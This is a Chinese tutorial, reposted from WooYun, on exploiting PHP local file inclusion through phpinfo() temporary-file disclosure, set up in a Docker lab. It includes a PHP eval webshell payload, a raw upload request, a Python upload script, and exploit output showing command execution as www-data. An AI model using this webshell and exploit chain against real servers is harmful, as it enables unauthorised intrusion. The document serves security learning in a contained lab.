0x00 简介


php本地文件包含漏洞相关知识,乌云上早有相应的文章,lfi with phpinfo最早由国外大牛提出,可参考下面两篇文章。利用的原理是利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门。

此方式在本地测试成功,为了方便大家学习,减小学习成本,已构建docker环境,轻松测试。将构建好的docker放在国外VPS上,使用github项目 lfi_phpinfo 中poc文件夹下的脚本,本地运行,依然可以getshell。说明这种方式是可行的,对网络要求不是很高。

  • Docker Hub 镜像地址: janes/lfi_phpinfo

  • github 项目地址: lfi_phpinfo

源码存放在 code目录下, 可使用docker再现,poc目录下存放利用脚本

paper:

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

0x01 php 上传


向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。

  • post上传文件

php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。

在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法

其中要确保上传表单的属性是 enctype=”multipart/form-data,必须用POST 参见: php file-upload.post-method

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

  1. 请求到达
  2. 创建临时文件,并写入上传文件的内容
  3. 调用相应PHP脚本进行处理,如校验名称、大小等
  4. 删除临时文件

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。

  • $_FILES信息,包括临时文件路径、名称

在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小

0x02 手工测试phpinfo()获取临时文件路径


  • html表单

文件 upload.html

1

2

3

4

5

6

7

8

9

10

11

12

13

<code>#!html

<!doctype html>

<html>

<body>

    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">

    <h3> Test upload tmp file</h3>

    <label for="file">Filename:</label>

    <input type="file" name="file"/><br/>

    <input type="submit" name="submit" value="Submit" />

</form>

</body>

</html>

</code>

  • 浏览器访问 upload.html, 上传文件 file.txt

    1

    2

    3

    4

    5

    <code>#!php

    <?php

    eval($_REQUEST["cmd"]);

    ?>

    </code>

  • burp 查看POST 信息如下

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    <code>#!bash

    POST /LFI_phpinfo/phpinfo.php HTTP/1.1

    Host: 127.0.0.1

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Referer: http://127.0.0.1/LFI_phpinfo/upload.html

    Connection: close

    Content-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112

    Content-Length: 368

    -----------------------------11008921013555437861019615112

    Content-Disposition: form-data; name="file"; filename="file.txt"

    Content-Type: text/plain

    <?php

    eval($_REQUEST["cmd"]);

    ?>

    -----------------------------11008921013555437861019615112

    Content-Disposition: form-data; name="submit"

    Submit

    -----------------------------11008921013555437861019615112--

    </code>

  • 浏览器访问,phpinfo 返回如下信息:

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    <code>#!php

    _REQUEST["submit"

        Submit

    _POST["submit"]

        Submit

    _FILES["file"

        Array

        (

            [name] => file.txt

            [type] => text/plain

            [tmp_name] => /tmp/phpufdCHh

            [error] => 0

            [size] => 33

        )

    </code>

得到tmp_name 路径

0x03 python脚本 upload file


1

2

3

4

5

6

7

8

9

10

11

<code>#!python

import requests

host = '127.0.0.1'

url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)

file_ = '/var/www/LFI_phpinfo/file.txt'

response = requests.post(url, files={"name"open(file_, 'rb')})

print(response.text)

</code>

  • 部分返回结果

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    <code>#!php

    <tr><td class="e">_FILES["name"]</td><td class="v"><pre>Array

    (

        [name] =&gt; file.txt

        [type] =&gt;

        [tmp_name] =&gt; /tmp/php7EvBv3

        [error] =&gt; 0

        [size] =&gt; 33

    )

    </code>

0x04 本地搭建环境


  • get shell

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    <code>#!bash

    $ python lfi_phpinfo.py 127.0.0.1

    LFI with phpinfo()

    ==============================

    INFO:__main__:Getting initial offset ...

    INFO:__main__:found [tmp_name] at 67801

    INFO:__main__:

    Got it! Shell created in /tmp/g

    INFO:__main__:Wowo! \m/

    INFO:__main__:Shutting down...

    </code>

  • firefox 访问

    1

    2

    3

    4

    5

    <code>#!bash

    http://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=id

    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    </code>

说明getshell成功,之后就可以自由发挥了~~

0x05 使用 docker 构建环境

docker的基本用法,这里就不阐述了,可自行google。这里提供了两种构建镜像源的方式,使用github lfi_phpinfo 中Dockerfile自行构建,或使用我已经构建好的镜像 janes/lfi_phpinfo

  • 镜像源

-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php]/php5

-- janes/lfi_phpinfo

  • 构建环境运行测试

获取 github lfi_phpinfo 的源码,切换到web目录下,开始构建环境进行测试。这里提供三种方式运行

  1. 方式1 使用php官方源运行测试

    1

    2

    3

    <code>#!bash

    docker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache

    </code>

  2. 方式2 使用构建好的镜像 janes/lfi_phpinfo 运行测试

    1

    2

    3

    4

    <code>#!bash

    docker pull "janes/lfi_phpinfo"

    docker run --rm -p "80:80" janes/lfi_phpinfo

    </code>

  3. 方式3 使用docker-compose

    1

    2

    3

    <code>#!bash 

    docker-compose up

    </code>

接下来就可以使用python脚本 getshell 了

1

2

3

<code>#!bash

python lfi_phpinfo.py docker_host_ip

</code>

0x06 结束语


动手实践 LFI with PHPInfo利用的过程,其实并不像看文章过程那样顺利,期间多多少少会碰见一些与环境有关的问题,而解决这些问题会耗费精力,这正是催生我用docker来构建测试环境想法的来源,希望能给网络安全的热爱者们提供更方便的学习环境。最后感谢[LFI with PHPInfo本地测试过程]文章的作者,给我研究LFI with phpinfo提供了不少帮助。

本文章来源于乌云知识库,文章版权归乌云知识库!

PHP本地文件包含漏洞环境搭建与利用相关推荐

  1. delphi cxgrid读取本地image_技术讨论 | PHP本地文件包含漏洞GetShell

    序言 让我们突破重重苛刻环境GetShell,文中有以phpmyadmin包含漏洞做演示. PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负. 漏洞背景 当您在发现PHP本地文件包含 ...

  2. 一个云本地文件包含漏洞,影响世界一流公司

    本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...

  3. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  4. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  5. BlueCms v1.6 本地文件包含漏洞代码审计

    目录 BlueCms POC构造 漏洞利用 BlueCms BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放. 复现版本为bluecmsv1.6版本, ...

  6. ThinkPHP Lang多语言本地文件包含漏洞(QVD-2022-46174)漏洞复现

    1.漏洞描述 ThinkPHP是一个在中国使用较多的PHP框架.在其6.0.13版本及以前,存在一处本地文件包含漏洞.当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件 ...

  7. 本地文件包含漏洞详解

    0x00:漏洞定义 在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露.恶意代码的注入等. 文件包含分为两种,一种为本地文件包含,一种为 ...

  8. saiav.win forum.php,关于 DiscuzX3.4 UC_Server 本地文件包含漏洞

    最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...

  9. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  10. php本地文件包含漏洞,本地文件包含漏洞详解---LFI

    1 概述 文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含.比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时 ...

最新文章

  1. Axure RP Extension for Chrome安装
  2. spring beans源码解读之--BeanFactory进化史
  3. ArcGIS License Manager 更新
  4. 9_InfluxDB常用函数(二)选择类函数(TOP() BOTTOM() FIRST() LAST() MAX() MIN() PERCENTILE())
  5. gcc编译python可执行_如何运行Nuitka编译的Python可执行文件
  6. Android之通过adb shell getprop、netstat命令看dns、ip
  7. bem什么意思_bem是什么意思_bem的翻译_音标_读音_用法_例句_爱词霸在线词典
  8. 通过Visual C#创建一个Windows组件,然后把其接口以COM形式发布即可(转贴)
  9. C# Microsoft.Office.Interop.Word 将多个word合成一个并插入图片 转换成pdf
  10. UltraISO9.3.0.2610中文绿色注册版
  11. 利用SAP Leonardo做图片近似查找 ——Python实现
  12. python 常用股票走势图绘制
  13. 学生管理系统IPO图_南昌市2020年小升初信息管理系统学生家长操作说明及采集流程...
  14. 用WinSCP登录路由器并传入文件及改文件权限
  15. 41家大公司年度福利比较 大公司福利档案揭秘
  16. 迈思德物联网网关问答集锦
  17. new ActionListener(){}
  18. C1认证学习笔记(第四章)
  19. java无参构造赋值怎么没用_Java有参构造方法和无参构造方法详解
  20. Mybatis之批量更新数据(批量update)

热门文章

  1. ROS机器人语音交互(一)
  2. 不格式化改U盘文件系统格式
  3. php 京东 联盟 链接,完整的京东联盟自定义推广链接生产程序
  4. 重装显卡驱动,解决NVIDIA-SMI has failed问题
  5. 没了疫情红利的华大基因,靠什么保持增长?
  6. 将一个正整数分解质因数。例如:输入90,打印出90=2*3*3*5
  7. 【CPU】理解CPU
  8. 很少人知道的无人机飞行原理
  9. K210学习笔记——语音识别
  10. .net 开发工程师 面试题